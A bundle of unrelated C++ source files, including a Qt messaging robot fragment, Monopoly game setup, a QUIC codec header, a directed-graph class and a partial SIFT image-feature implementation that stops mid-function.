std::this_thread::sleep_for(std::chrono::seconds(3));
YIMErrorcode code1 =
im->GetMessageManager()->StopAudioMessage(__XT("robot answer"));
if (code1 != YIMErrorcode_Success) {
qDebug() << QStringLiteral("回复录音失败 ") << code1;
}
}
else if (type == ChatType_PrivateChat ||
type == ChatType_Multi) {
XUINT64 reqNo;
YIMErrorcode code = im->GetMessageManager()->SendAudioMessage(sendID.c_str(),
ChatType_PrivateChat,
&reqNo);
if (code != YIMErrorcode_Success) {
qDebug() << QStringLiteral("消息回复不成功");
}
std::this_thread::sleep_for(std::chrono::seconds(3));
YIMErrorcode code1 =
im->GetMessageManager()->StopAudioMessage(__XT("robot answer"));
if (code1 != YIMErrorcode_Success) {
qDebug() << QStringLiteral("回复录音失败 ") << code1;
}
}
else {
qDebug() << QStringLiteral("收到一条来源不明的消息, 机器人不回应");
}
}
**/
}
void MainWidget::OnDownload(YIMErrorcode errorcode,
std::shared_ptr<IYIMMessage> msg,
const XString &savePath)
{
Q_UNUSED(msg)
if (errorcode != YIMErrorcode_Success)
qDebug() << QStringLiteral("下载回调失败, 错误码:") << errorcode;
qDebug() << "Save path is " << XStringToLocal(savePath).c_str();
}
void MainWidget::quitRobot()
{
YIMManager *im = YIMManager::CreateInstance();
std::unique_lock<std::mutex> lk(mutex);
im->Logout();
cv.wait_for(lk, std::chrono::seconds(10));
qDebug() << "Quit successs";
}
|
#include "cLogicMonoPoly.h"
#include "cPlayer.h"
#include "cDice.h"
#include "cCardStorageChance.h"
#include "cCardStorageCommunity.h"
#include "cCardDistrict.h"
#include "cFreeParking.h"
#include "cGotoJailDistrict.h"
#include "cJailDistrict.h"
#include "cStartDistrict.h"
#include "cTaxDistrict.h"
#include "cAssetDistrict.h"
#include "cBuildingDistrict.h"
#include "cStationDistrict.h"
#include "cUtilityDistrict.h"
cLogicMonoPoly::cLogicMonoPoly()
:m_playState(ePlayState::e_Stop)
{
}
cLogicMonoPoly::~cLogicMonoPoly()
{
}
bool cLogicMonoPoly::CleanUp()
{
delete m_dice;
delete m_playerA;
delete m_playerB;
delete m_communityStorage;
delete m_chanceStorage;
std::vector<iDistrict*>::iterator iter = m_districts.begin();
for (; iter != m_districts.end(); ++iter)
{
iDistrict* p = *iter;
delete p;
}
m_districts.clear();
return true;
}
bool cLogicMonoPoly::PlayGame(iUser* userA, iUser* userB)
{
m_dice = new cDice();
m_playerA = new cPlayer(userA);
m_playerB = new cPlayer(userB);
m_communityStorage = new cCardStorageCommunity();
m_chanceStorage = new cCardStorageChance();
// create districts
// bot line
{
m_districts.push_back(new cStartDistrict());
m_districts.push_back(new cAssetDistrict());
m_districts.push_back(new cCardDistrict(cCardDistrict::e_Community));
m_districts.push_back(new cAssetDistrict());
m_districts.push_back(new cTaxDistrict(cTaxDistrict::e_Normal));
m_districts.push_back(new cStationDistrict());
m_districts.push_back(new cAssetDistrict());
m_districts.push_back(new cCardDistrict(cCardDistrict::e_Chance));
m_districts.push_back(new cAssetDistrict());
m_districts.push_back(new cAssetDistrict());
}
// left line
{
m_districts.push_back(new cJailDistrict());
m_districts.push_back(new cAssetDistrict());
m_districts.push_back(new cUtilityDistrict());
m_districts.push_back(new cAssetDistrict());
m_districts.push_back(new cAssetDistrict());
m_districts.push_back(new cStationDistrict());
m_districts.push_back(new cAssetDistrict());
m_districts.push_back(new cCardDistrict(cCardDistrict::e_Community));
m_districts.push_back(new cAssetDistrict());
m_districts.push_back(new cAssetDistrict());
}
// top line
{
m_districts.push_back(new cFreeParking());
m_districts.push_back(new cAssetDistrict());
m_districts.push_back(new cCardDistrict(cCardDistrict::e_Chance));
m_districts.push_back(new cAssetDistrict());
m_districts.push_back(new cAssetDistrict());
m_districts.push_back(new cStationDistrict());
m_districts.push_back(new cAssetDistrict());
m_districts.push_back(new cAssetDistrict());
m_districts.push_back(new cUtilityDistrict());
m_districts.push_back(new cAssetDistrict());
}
// right line
{
m_districts.push_back(new cGotoJailDistrict());
m_districts.push_back(new cAssetDistrict());
m_districts.push_back(new cAssetDistrict());
m_districts.push_back(new cCardDistrict(cCardDistrict::e_Community));
m_districts.push_back(new cAssetDistrict());
m_districts.push_back(new cStationDistrict());
m_districts.push_back(new cCardDistrict(cCardDistrict::e_Chance));
m_districts.push_back(new cAssetDistrict());
m_districts.push_back(new cTaxDistrict(cTaxDistrict::e_Luxury ));
m_districts.push_back(new cAssetDistrict());
}
m_playState = ePlayState::e_Ready;
m_gameLoopThread = this->GameLoopThread();
return true;
}
std::thread cLogicMonoPoly::GameLoopThread()
{
return std::thread([this] { GameLoop(); });
}
bool cLogicMonoPoly::GameLoop()
{
m_playState = ePlayState::e_Start;
while (!m_playState != ePlayState::e_Finish)
{
//
}
this->CleanUp();
return true;
}
|
#include <iostream>
#include <cctype>
#include <set>
#include <string>
#include <algorithm>
#include <iterator>
int main(int argc, char const *argv[])
{
std::size_t n{0};
std::set<std::string> dictionary, filter;
std::string tmp_str{};
std::cin >> n;
for (std::size_t i = 0; i < n; ++i)
{
std::cin >> tmp_str;
dictionary.emplace(tmp_str);
}
filter.clear();
char letters_filter{};
std::cin >> letters_filter;
std::copy_if(dictionary.cbegin(), dictionary.cend(),
std::inserter(filter, filter.end()),
[&letters_filter](const std::string &value) {
return (letters_filter == value[0]);
});
for (auto &item : filter)
{
std::cout << item << std::endl;
}
return 0;
}
|
/*
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
#pragma once
#include <quic/QuicConstants.h>
#include <quic/codec/QuicPacketBuilder.h>
#include <quic/codec/Types.h>
#include <quic/common/CircularDeque.h>
#include <quic/common/IntervalSet.h>
#include <quic/state/TransportSettings.h>
#include <sys/types.h>
#include <chrono>
#include <cstdint>
namespace quic {
/**
* Write a simple QuicFrame into builder
*
* The input parameter is the frame to be written to the output appender.
*
*/
size_t writeSimpleFrame(
QuicSimpleFrame&& frame,
PacketBuilderInterface& builder);
/**
* Write a (non-ACK, non-Stream) QuicFrame into builder
*
* The input parameter is the frame to be written to the output appender.
*
*/
size_t writeFrame(QuicWriteFrame&& frame, PacketBuilderInterface& builder);
/**
* Write a complete stream frame header into builder
* This writes the stream frame header into the parameter builder and returns
* the bytes of data that can be written following the header. The number of
* bytes are communicated by an optional that can be >= 0. It is expected that
* the call is followed by writeStreamFrameData.
*
* skipLenHint: When this value is present, caller will decide if the stream
* length field should be skipped. Otherwise, the function has its own logic
* to decide it. When skipLenHint is true, the field is skipped. When it's
* false, it will be encoded into the header.
*/
folly::Optional<uint64_t> writeStreamFrameHeader(
PacketBuilderInterface& builder,
StreamId id,
uint64_t offset,
uint64_t writeBufferLen,
uint64_t flowControlLen,
bool fin,
folly::Optional<bool> skipLenHint,
folly::Optional<StreamGroupId> streamGroupId = folly::none,
bool appendFrame = true);
/**
* Write stream frama data into builder
* This writes dataLen worth of bytes from the parameter writeBuffer into the
* parameter builder. This should only be called after a complete stream header
* has been written by writeStreamFrameHeader.
*/
void writeStreamFrameData(
PacketBuilderInterface& builder,
const BufQueue& writeBuffer,
uint64_t dataLen);
/**
* Write stream frama data into builder
* This writes dataLen worth of bytes from the parameter writeBuffer into the
* parameter builder. This should only be called after a complete stream header
* has been written by writeStreamFrameHeader.
*/
void writeStreamFrameData(
PacketBuilderInterface& builder,
Buf writeBuffer,
uint64_t dataLen);
/**
* Write a CryptoFrame into builder. The builder may not be able to accept all
* the bytes that are supplied to writeCryptoFrame.
*
* offset is the offset of the crypto frame to write into the builder
* data is the actual data that needs to be written.
*
* Return: A WriteCryptoFrame which represents the crypto frame that was
* written. The caller should check the structure to confirm how many bytes were
* written.
*/
folly::Optional<WriteCryptoFrame> writeCryptoFrame(
uint64_t offsetIn,
const BufQueue& data,
PacketBuilderInterface& builder);
/**
* Write a AckFrame into builder
*
* Similar to writeStreamFrame, the codec will give a best effort to write as
* many as AckBlock as it can. The WriteCodec may not be able to write
* all of them though. A vector of AckBlocks, the largest acked bytes and other
* ACK frame specific info are passed via ackFrameMetaData.
*
* The ackBlocks are supposed to be sorted in descending order
* of the packet sequence numbers. Exception will be thrown if they are not
* sorted.
*
* Return: A WriteAckFrameResult to indicate how many bytes and ack blocks are
* written to the appender. Returns an empty optional if an ack block could not
* be written.
*/
folly::Optional<WriteAckFrameResult> writeAckFrame(
const WriteAckFrameMetaData& ackFrameMetaData,
PacketBuilderInterface& builder,
FrameType frameType = FrameType::ACK);
/**
* Helper functions to write the fields for ACK_RECEIVE_TIMESTAMPS frame
*/
size_t computeSizeUsedByRecvdTimestamps(quic::WriteAckFrame& writeAckFrame);
folly::Optional<WriteAckFrameResult> writeAckFrameWithReceivedTimestamps(
const WriteAckFrameMetaData& ackFrameMetaData,
PacketBuilderInterface& builder,
const AckReceiveTimestampsConfig& recvTimestampsConfig,
uint64_t maxRecvTimestampsToSend);
folly::Optional<quic::WriteAckFrame> writeAckFrameToPacketBuilder(
const WriteAckFrameMetaData& ackFrameMetaData,
quic::PacketBuilderInterface& builder,
quic::FrameType frameType);
} // namespace quic
// namespace quic
// namespace quic
// namespace quic
|
#include "E.h"
#include <jni.h>
#include <stdio.h>
JNIEXPORT void JNICALL Java_E_printName(JNIEnv*, jobject)
{
printf("E\n");
}
|
#include <iostream>
#include <vector>
#include <list>
using namespace std;
class Digraph
{
private:
int V;
int E;
vector<list<int> *> *adj;
public:
Digraph(int v)
{
this->V = v;
this->E = 0;
adj = new vector<list<int>*>;
for(int v = 0;v < V;v++)
{
list<int> *l = new list<int>;
adj->push_back(l);
}
}
int vertex()
{
return V;
}
int edge()
{
return E;
}
void add_edge(int v,int w)
{
(*adj)[v]->push_back(w);
E++;
}
list<int>* adj_vertex(int v)
{
return (*adj)[v];
}
Digraph reverse()
{
Digraph R(this->V);
for(int v = 0;v< V;v++)
{
list<int> *l = this->adj_vertex(v);
for(int w : *l)
{
R.add_edge(w,v);
}
}
return R;
}
void build_dirgraph()
{
int edge_num;
cout<<"please input the num of edge:"<<endl;
cin>>edge_num;
int x1,x2;
for(int i = 0;i < edge_num;i++)
{
cout<<"input the first vertex of "<<i<<" edge"<<endl;
cin>>x1;
cout<<"input the second vertex of "<<i<<" edge"<<endl;
cin>>x2;
add_edge(x1,x2);
}
}
};
|
#ifndef _SPRITE_AI_STATE_H_
#define _SPRITE_AI_STATE_H_
class SpriteState;
class SpriteAIState
{
public:
SpriteAIState();
~SpriteAIState();
virtual void moving(SpriteAIState*);
virtual void nothing(SpriteAIState*);
virtual void attacking(SpriteAIState*);
virtual void running(SpriteAIState*);
protected:
friend class SpriteState;
void changeState(SpriteState*);
private:
SpriteState *_state;
};
#endif
|
/*
* Program: SIFT.cpp
* Usage: Implement SIFT class methods
*/
#include "SIFT.h"
SIFT::SIFT(CImg<float> src){
this->srcImg = src;
}
// SIFT process steps
// Using up smapling and linear interpolation
CImg<float> SIFT::makeDoubleSizeLinear(CImg<float> input){
int doubleWidth = input.width() * 2, doubleHeight = input.height() * 2;
CImg<float> doubleImg(doubleWidth, doubleHeight, 1, 3, 1);
cimg_forXY(doubleImg, x, y){
doubleImg(x, y) = input(x / 2, y / 2);
}
// Use nearest neighbors to linear interpolcate
// Upward and downward
for(int i=0; i<doubleHeight; i+=2){
for(int j=1; j<doubleWidth-1; j+=2)
doubleImg(j, i) = 0.5 * (input(j/2, i/2) + input(j/2 + 1, i/2));
}
// Leftward and rightward
for(int i=1; i<doubleHeight-1; i+=2){
for(int j=0; j<doubleWidth; j+=2){
doubleImg(j, i) = 0.5 * (input(j/2, i/2) + input(j/2, i/2+1));
}
}
// Center
for(int i=1; i<doubleHeight-1; i+=2){
for(int j=1; j<doubleWidth-1; j+=2){
doubleImg(j, i) = 0.25 * (input(j/2, i/2) + input(j/2+1, i/2) + input(j/2, i/2+1) + input(j/2+1, i/2+1));
}
}
return doubleImg;
}
// 1. Preprocess input image
CImg<float> SIFT::InitImage(CImg<float> input){
CImg<float> blur_img = input.get_blur(INITSIGMA);
// Make bottom level of the pyrmid
CImg<float> temp = makeDoubleSizeLinear(blur_img);
// Pre blur
double pre_sigma = 1.0;
CImg<float> tt = temp.get_blur(pre_sigma);
double sigma = sqrt((4 * INITSIGMA * INITSIGMA) + pre_sigma * pre_sigma);
CImg<float> result = tt.get_blur(sigma);
return result;
}
// 2. Establish gaussian octaves
ImageOctave* SIFT::BuildGaussianOctave(CImg<float> input){
double temp = pow(2, 1.0f / ((float)SCALESPEROCTAVE));
float pre_sigma, sigma, absolute_sigma;
// Compute octaves number
int dim = min(input.width(), input.height());
this->octavesNum = min((int)(log((double)dim) / log(2.0)) - 2, 4);
for(int i=0; i<this->octavesNum; i++){
this->octaves.push_back(ImageOctave());
this->DOGoctaves.push_back(ImageOctave());
octaves[i].octave[0].level = input;
// Init basic infos
octaves[i].width = input.width();
octaves[i].height = input.height();
DOGoctaves[i].width = input.width();
DOGoctaves[i].height = input.height();
// Double-Based image size
octaves[i].subSample = pow(2.0, i) * 0.5;
if(i == 0){
octaves[0].octave[0].sigma = sqrt(2.0);
octaves[0].octave[0].absolute_sigma = sqrt(2.0);
}else {
octaves[i].octave[0].sigma = octaves[i-1].octave[SCALESPEROCTAVE].sigma;
octaves[i].octave[0].absolute_sigma = octaves[i-1].octave[SCALESPEROCTAVE].absolute_sigma;
}
sigma = sqrt(2.0);
for(int j=1; j<SCALESPEROCTAVE + 3; j++){
int temp_sigma = sqrt(temp * temp-1) * sigma,
length = (int)max(3.0f, (float)(2.0 * GAUSSKERN * temp_sigma + 1.0f));
if(length % 2 == 0) length++;
sigma = temp * sigma;
absolute_sigma = sigma * (octaves[i].subSample);
CImg<float> blurImg = octaves[i].octave[j-1].level.get_blur(temp_sigma);
octaves[i].octave[j].sigma = sigma;
octaves[i].octave[j].absolute_sigma = absolute_sigma;
octaves[i].octave[j].length = length;
octaves[i].octave[j].level = blurImg;
CImg<float> res(input.width(), input.height(), 1, 3, 1);
cimg_forXY(res, x, y){
res(x, y) = octaves[i].octave[j].level(x, y) - octaves[i].octave[j-1].level(x, y);
}
DOGoctaves[i].octave[j-1].level = res;
}
input = makeHalfSize(octaves[i].octave[SCALESPEROCTAVE].level);
}
}
// 3. Detect key points locations
int SIFT::DetectKeyPoints(){
double cur_threshold = ((CURVATURE_THRESHOLD + 1) * (CURVATURE_THRESHOLD + 1)) / CURVATURE_THRESHOLD;
for(int i=0; i<octavesNum; i++){
for(int j=1; j<SCALESPEROCTAVE+1; j++){
int dim = (int)(0.5 * (this->octaves[i].octave[j].length + 0.5));
for(int n=dim; n<DOGoctaves[i].height - dim; n++){
for(int m=dim; m<DOGoctaves[i].width - dim; m++){
if(fabs((DOGoctaves[i].octave[j].level)(m ,n)) >= CONTRAST_THRESHOLD){
if((DOGoctaves[i].octave[j].level)(m ,n) != 0.0){
float downBound = (this->DOGoctaves[i].octave[j].level)(m ,n);
// Judge whether satifies 26 middle maximal or minmal points
bool flag1 = (downBound <= (this->DOGoctaves[i].octave[j].level)(m - 1, n - 1)) &&
(downBound <= (this->DOGoctaves[i].octave[j].level)(m, n - 1)) &&
(downBound <= (this->DOGoctaves[i].octave[j].level)(m + 1, n - 1)) &&
(downBound <= (this->DOGoctaves[i].octave[j].level)(m - 1, n)) &&
(downBound <= (this->DOGoctaves[i].octave[j].level)(m, n)) &&
(downBound <= (this->DOGoctaves[i].octave[j].level)(m + 1, n)) &&
(downBound <= (this->DOGoctaves[i].octave[j].level)(m - 1, n + 1)) &&
(downBound <= (this->DOGoctaves[i].octave[j].level)(m, n + 1)) &&
(downBound <= (this->DOGoctaves[i].octave[j].level)(m + 1, n + 1)) &&
(downBound <= (this->DOGoctaves[i].octave[j-1].level)(m - 1, n - 1)) &&
(downBound <= (this->DOGoctaves[i].octave[j-1].level)(m, n - 1)) &&
(downBound <= (this->DOGoctaves[i].octave[j-1].level)(m + 1, n - 1)) &&
(downBound <= (this->DOGoctaves[i].octave[j-1].level)(m - 1, n)) &&
(downBound <= (this->DOGoctaves[i].octave[j-1].level)(m + 1, n)) &&
(downBound <= (this->DOGoctaves[i].octave[j-1].level)(m - 1, n + 1)) &&
(downBound <= (this->DOGoctaves[i].octave[j-1].level)(m, n + 1)) &&
(downBound <= (this->DOGoctaves[i].octave[j-1].level)(m + 1, n + 1)) &&
(downBound <= (this->DOGoctaves[i].octave[j+1].level)(m - 1, n - 1)) &&
(downBound <= (this->DOGoctaves[i].octave[j+1].level)(m, n - 1)) &&
(downBound <= (this->DOGoctaves[i].octave[j+1].level)(m + 1, n - 1)) &&
(downBound <= (this->DOGoctaves[i].octave[j+1].level)(m - 1, n)) &&
(downBound <= (this->DOGoctaves[i].octave[j+1].level)(m, n)) &&
(downBound <= (this->DOGoctaves[i].octave[j+1].level)(m + 1, n)) &&
(downBound <= (this->DOGoctaves[i].octave[j+1].level)(m - 1, n + 1)) &&
(downBound <= (this->DOGoctaves[i].octave[j+1].level)(m, n + 1)) &&
(downBound <= (this->DOGoctaves[i].octave[j+1].level)(m + 1, n + 1));
bool flag2 = (downBound <= (this->DOGoctaves[i].octave[j].level)(m, n - 1)) &&
(downBound >= (this->DOGoctaves[i].octave[j].level)(m + 1, n - 1)) &&
(downBound >= (this->DOGoctaves[i].octave[j].level)(m - 1, n)) &&
(downBound >= (this->DOGoctaves[i].octave[j].level)(m, n)) &&
(downBound >= (this->DOGoctaves[i].octave[j].level)(m + 1, n)) &&
(downBound >= (this->DOGoctaves[i].octave[j].level)(m - 1, n + 1)) &&
(downBound >= (this->DOGoctaves[i].octave[j].level)(m, n + 1)) &&
(downBound >= (this->DOGoctaves[i].octave[j].level)(m + 1, n + 1)) &&
(downBound >= (this->DOGoctaves[i].octave[j-1].level)(m - 1, n - 1)) &&
(downBound >= (this->DOGoctaves[i].octave[j-1].level)(m, n - 1)) &&
(downBound >= (this->DOGoctaves[i].octave[j-1].level)(m + 1, n - 1)) &&
(downBound >= (this->DOGoctaves[i].octave[j-1].level)(m - 1, n)) &&
(downBound >= (this->DOGoctaves[i].octave[j-1].level)(m + 1, n)) &&
(downBound >= (this->DOGoctaves[i].octave[j-1].level)(m - 1, n + 1)) &&
(downBound >= (this->DOGoctaves[i].octave[j-1].level)(m, n + 1)) &&
(downBound >= (this->DOGoctaves[i].octave[j-1].level)(m + 1, n + 1)) &&
(downBound >= (this->DOGoctaves[i].octave[j+1].level)(m - 1, n - 1)) &&
(downBound >= (this->DOGoctaves[i].octave[j+1].level)(m, n - 1)) &&
(downBound >= (this->DOGoctaves[i].octave[j+1].level)(m + 1, n - 1)) &&
(downBound >= (this->DOGoctaves[i].octave[j+1].level)(m - 1, n)) &&
(downBound >= (this->DOGoctaves[i].octave[j+1].level)(m, n)) &&
(downBound >= (this->DOGoctaves[i].octave[j+1].level)(m + 1, n)) &&
(downBound >= (this->DOGoctaves[i].octave[j+1].level)(m - 1, n + 1)) &&
(downBound >= (this->DOGoctaves[i].octave[j+1].level)(m, n + 1)) &&
(downBound >= (this->DOGoctaves[i].octave[j+1].level)(m + 1, n + 1));
if(flag1 || flag2){
float Dxx = (this->DOGoctaves[i].octave[j].level)(m, n-1) + (this->DOGoctaves[i].octave[j].level)(m, n+1) - 2.0 * (this->DOGoctaves[i].octave[j].level)(m, n),
Dyy = (this->DOGoctaves[i].octave[j].level)(m-1, n) + (this->DOGoctaves[i].octave[j].level)(m+1, n) - 2.0 * (this->DOGoctaves[i].octave[j].level)(m, n),
Dxy = (this->DOGoctaves[i].octave[j].level)(m-1, n-1) + (this->DOGoctaves[i].octave[j].level)(m+1, n+1) - (this->DOGoctaves[i].octave[j].level)(m+1, n-1) - (this->DOGoctaves[i].octave[j].level)(m-1, n+1);
float Tri_H = Dxx + Dyy, Det_H = Dxx * Dyy - Dxy * Dxy, ratio = (1.0 * Tri_H * Tri_H) / Det_H;
if(Det_H >= 0.0 && ratio <= cur_threshold){
this->keyPointsNum++;
KeyPoint temp;
temp.width = m * (this->octaves[i].subSample);
temp.height = n * (this->octaves[i].subSample);
temp.x = m; temp.y = n;
temp.octave_order = i; temp.level_order = j;
temp.scale = (this->octaves[i].octave[j].absolute_sigma);
this->keyPoint.push_back(temp);
}
}
}
}
}
}
}
}
return this->keyPointsNum;
}
void SIFT::DisplayKeyPoints(){
unsigned char color[3] = {255, 0, 0};
for(KeyPoint temp : this->keyPoint){
this->keyPointsImg.draw_circle(temp.width, temp.height, 1, color);
}
}
// 4. Calculate gaussian image's gradients, magniture and direction
void SIFT::ComputeGrad_Mag_Dir(){
for(int i=0; i<this->octavesNum; i++){
for(int j=1; j<SCALESPEROCTAVE+1; j++){
CImg<float> mag(this->octaves[i].width, this->octaves[i].height, 1, 1, 0);
CImg<float> ori(this->octaves[i].width, this->octaves[i].height, 1, 1, 0);
CImg<float> temp1(this->octaves[i].width, this->octaves[i].height, 1, 1, 0);
CImg<float> temp2(this->octaves[i].width, this->octaves[i].height, 1, 1, 0);
// Compute magniture
for(int m=1; m<this->octaves[i].height-1; m++){
for(int n=1; n<this->octaves[i].width-1; n++){
// Direction-X
temp1(n, m) = 0.5 * ((octaves[i].octave[j].level)(n+1, m) - (octaves[i].octave[j].level)(n-1, m));
// Direction-Y
temp2(n, m) = 0.5 * ((octaves[i].octave[j].level)(n, m+1) - (octaves[i].octave[j].level)(n, m-1));
mag(n, m) = sqrt(temp1(n, m)*temp1(n, m) + temp2(n, m)*temp2(n, m));
ori(n, m) = atan(temp2(n, m) / temp1(n, m));
// Judge border
if(ori(n, m) == PI)
ori(n, m) = -PI;
}
this->magPyr.push_back(ImageOctave()); this->gradPyr.push_back(ImageOctave());
this->magPyr[i].octave[j-1].level = mag;
this->gradPyr[i].octave[j-1].level = ori;
}
}
}
}
// Nearest neighbor binlinear filtering
int SIFT::FindNearestRotationNei(float angle, int count){
// Comouted align bin
angle += PI; angle = angle / (PI * 2.0); angle = angle * count;
int temp = (int) angle;
if(temp == count)
return 0;
else
return temp;
}
// Average filtering
void SIFT::AverageWeakBins(float* bins, int count){
for(int i=0; i<2; i++){
float first = bins[0], last = bins[count - 1];
for(int j=0; j<count; j++){
float temp = bins[j],
nextOne = (j == count - 1) ? first : bins[(j+1) % count]; // Middle choosen
bins[j] = (temp + nextOne + last) / 3.0;
last = temp;
}
}
}
// Quadratic curve fitting
bool SIFT::InterpolateOrientation(float left, float middle, float right, float* correction, float* peak){
float alpha = ((left + right) - 2.0 * middle) / 2.0;
// Do fitting
if(alpha == 0.0) return false; // Failed
float delta = (((left - middle) / alpha) - 1.0) / 2.0, beta = middle - delta * delta * alpha;
if(delta < -0.5 || delta > 0.5)
return false;
*correction = delta;
*peak = beta;
return true;
}
void SIFT::AssignTheMainOrientation(){
// set up the histogram of 36 bins
int nums = 36;
float step_num = 2.0 * PI / nums;
float histOri[36];
// Compute gradients
for(int i=0; i<nums; i++)
histOri[i] = -PI + i * step_num;
float sigma = ((this->octaves[0].octave[SCALESPEROCTAVE].absolute_sigma)) / (this->octaves[0].subSample);
int zero = (int)(max(3.0f, (float)(2 * GAUSSKERN * sigma + 1.0f)) * 0.5 + 0.5);
// Assign oriention to all key points
for(KeyPoint ele : this->keyPoint){
int x0 = ele.octave_order, x1 = ele.level_order, x2 = ele.y, x3 = ele.x;
if((x2 >= zero) && (x2 < this->octaves[x0].height - zero) &&
(x3 >= zero) && (x3 < this->octaves[x0].width - zero)){
float sigma1 = ((this->octaves[x0].octave[x1].absolute_sigma)) / (this->octaves[x0].subSample);
// Make gaussian template
CImg<float> temp = make2DGaussianKernel(sigma1);
int dim = (int)(0.5 * temp.height());
// Make hist
float orientHist[36] = {0.0};
int i=0, j=0;
for(int x = x2 - dim; x<=(x2 + dim); x++, i++){
for(int y = x3 - dim; y<=(x3 + dim); y++, j++){
float dx = 0.5 * ((this->octaves[x0].octave[x1].level)(y+1, x) - (this->octaves[x0].octave[x1].level)(y-1, x));
float dy = 0.5 * ((this->octaves[x0].octave[x1].level)(y, x+1) - (this->octaves[x0].octave[x1].level)(y, x-1));
float mag = sqrt(dx * dx + dy * dy);
float ori = atan(1.0f * dy / dx);
int binIndex = FindNearestRotationNei(ori, 36);
orientHist[binIndex] = orientHist[binIndex] + 1.0 * mag * temp(j, i);
}
}
AverageWeakBins(orientHist, 36);
// Find the max peak in gredient orientation
float maxGrad = 0.0, maxPeak = 0.0, maxDegreeCorrect = 0.0;
int maxBin = 0;
for(int k=0; k<36; k++){
if(orientHist[k] > maxGrad){
maxGrad = orientHist[k];
maxBin = k;
}
}
// Judge broken....
int ttemp = maxBin == 0 ? 35 : maxBin - 1;
bool judgeInterpolate = InterpolateOrientation(orientHist[ttemp], orientHist[maxBin],
orientHist[(maxBin + 1) % 36], &maxDegreeCorrect, &maxPeak);
if(!judgeInterpolate)
cout << "[Error] Parabola fitting broken!" << endl;
// After getting peak value, then we can find key points orientations
bool binIsKeyPoint[36];
for(int i=0; i<36; i++){
binIsKeyPoint[i] = false;
if(i == maxBin){
binIsKeyPoint[i] = true;
continue;
}
if(orientHist[i] < 0.8 * maxPeak)
continue;
int left = (i == 0) ? 35 : i-1, right = (i+1) % 36;
if(orientHist[i] <= orientHist[left] || orientHist[i] <= orientHist[right])
continue;
binIsKeyPoint[i] = true;
}
// Find other possible locations
float road = (2.0 * PI) / 36;
for(int i=0; i<36; i++){
if(!binIsKeyPoint[i]) continue;
int left1 = (i == 0) ? 35 : i-1, right1 = (i+1) % 36;
float peak, corr, maxPeak1, maxCorr1;
int ttmp1 = maxBin == 0 ? (36 - 1) : (maxBin - 1);
bool judgeInterpolate1 = InterpolateOrientation(orientHist[ttmp1], orientHist[maxBin],
orientHist[(maxBin + 1) % 36], &corr, &peak);
if(judgeInterpolate1 == false)
cout << "[Error] Parabola fitting broken!" << endl;
float degree = (i + corr) * road - PI;
if(degree < -PI)
degree += 2.0 * PI;
else if(degree > PI)
degree -= 2.0 * PI;
// New the keyPoint descriptor
KeyPoint newPoint;
newPoint.width = ele.width;
newPoint.height = ele.height;
newPoint.x = ele.x;
newPoint.y = ele.y;
newPoint.octave_order = ele.octave_order;
newPoint.level_order = ele.level_order;
newPoint.scale = ele.scale;
newPoint.ori = degree;
newPoint.mag = peak;
this->keyDescriptors.push_back(newPoint);
}
}
}
}
void SIFT::DisplayOrientation(CImg<float> img){
unsigned char red[] = {255, 0, 0};
float init_scale = 3.0;
for(KeyPoint ele : this->keyDescriptors){
float scale = (this->octaves[ele.octave_order].octave[ele.level_order]).absolute_sigma;
int x0 = (int)init_scale * scale * cos(ele.ori),
y0 = (int)init_scale * scale * sin(ele.ori);
int x1 = (int)ele.width + x0, y1 = (int)ele.height + y0;
img.draw_line(ele.width, ele.height, x1, y1, red);
// Draw red arrow
float alpha = 0.33, beta = 0.33;
float xx0 = ele.width + x0 - alpha * (x0 + beta * y0),
yy0 = ele.height + y0 - alpha * (y0 - beta * x0),
xx1 = ele.width + x0 - alpha * (x0 - beta * y0),
yy1 = ele.height + y0 - alpha * (y0 + beta * x0);
img.draw_line((int)xx0, (int)yy0, (int)x1, (int)y1, red);
img.draw_line((int)xx1, (int)yy1, (int)x1, (int)y1, red);
}
img.display();
}
// Compute vector's 2-norm
float SIFT::getNormVector(float input[], int dim){
float result = 0.0;
for(int i=0; i<dim; i++)
result += input[i] * input[i];
return sqrt(result);
}
// 5. Extract key points' feature descriptors
void SIFT::ExtractFeatureDescriptors(){
float orient_spacing = PI / 4;
float orient_angles[8] = {-PI, -PI + orient_spacing, -PI/2, -orient_spacing, 0.0,
orient_spacing, PI/2, PI + orient_spacing};
float grid[2 * 16]; // Make grids for feat extracting
// Fill the grid
for(int i=0; i<4; i++){
for(int j=0; j<2 * 4; j+=2){
grid[i * 2 * 4 + j] = -6 + 4 * i;
grid[i * 2 * 4 + j + 1] = -6 + j * 2;
}
}
// Make samples
float sample[2 * 256];
for(int i=0; i<4*4; i++){
for(int j=0; j<8*4; j+=2){
sample[i * 8 * 4 + j] = i - (2 * 4 - 0.5f);
sample[i * 8 * 4 + j + 1] = j/2 - (2 * 4 - 0.5f);
}
}
float windowSize = 2 * 4;
cout << "Start extracting features, features points length: " << keyDescriptors.size() << endl;
int count = -1;
for(KeyPoint ele : this->keyDescriptors){
count++;
float tempSin = sin(ele.ori), tempCos = cos(ele.ori);
float center[2 * 16];
for(int i=0; i<4; i++){
for(int j=0; j<2*4; j+=2){
float x = grid[i * 2 * 4 + j],
y = grid[i * 2 * 4 + j + 1];
center[i * 2 * 4 + j] = (tempCos * x + tempSin * y + ele.x);
center[i * 2 * 4 + j + 1] = (-tempSin * x + tempCos * y + ele.y);
}
}
float feat[2 * 256];
for(int i=0; i<64 * 4; i+=2){
float t0 = sample[i], t1 = sample[i+1];
feat[i] = (tempCos * t0 + tempSin * t1 + ele.x);
feat[i+1] = (-tempSin * t0 + tempCos * t1 + ele.y);
}
// Init feature desctiptors
float desc[128] = {0.0};
for(int i=0; i<512; i+=2){
float sx = feat[i], sy = feat[i+1];
// Interpolcation of nearest-k neighbors
float st1 = getPixelBi(this->octaves[ele.octave_order].octave[ele.level_order].level, sx, sy-1),
st2 = getPixelBi(this->octaves[ele.octave_order].octave[ele.level_order].level, sx-1, sy),
st3 = getPixelBi(this->octaves[ele.octave_order].octave[ele.level_order].level, sx+1, sy),
st4 = getPixelBi(this->octaves[ele.octave_order].octave[ele.level_order].level, sx, sy+1);
// Compute differs, magniture and orientation
float diff[8] = {0.0};
float diff_x = st2 - st3, diff_y = st4 - st1;
float tempMag = sqrt(diff_x * diff_x + diff_y * diff_y), tempGrad = atan(diff_y / diff_x);
if(tempGrad == PI)
tempGrad = -PI;
// Compute weights
float xWeights[4 * 4], yWeights[4 * 4], posWeights[8 * 4 * 4];
for(int j=0; j<32; j+=2){
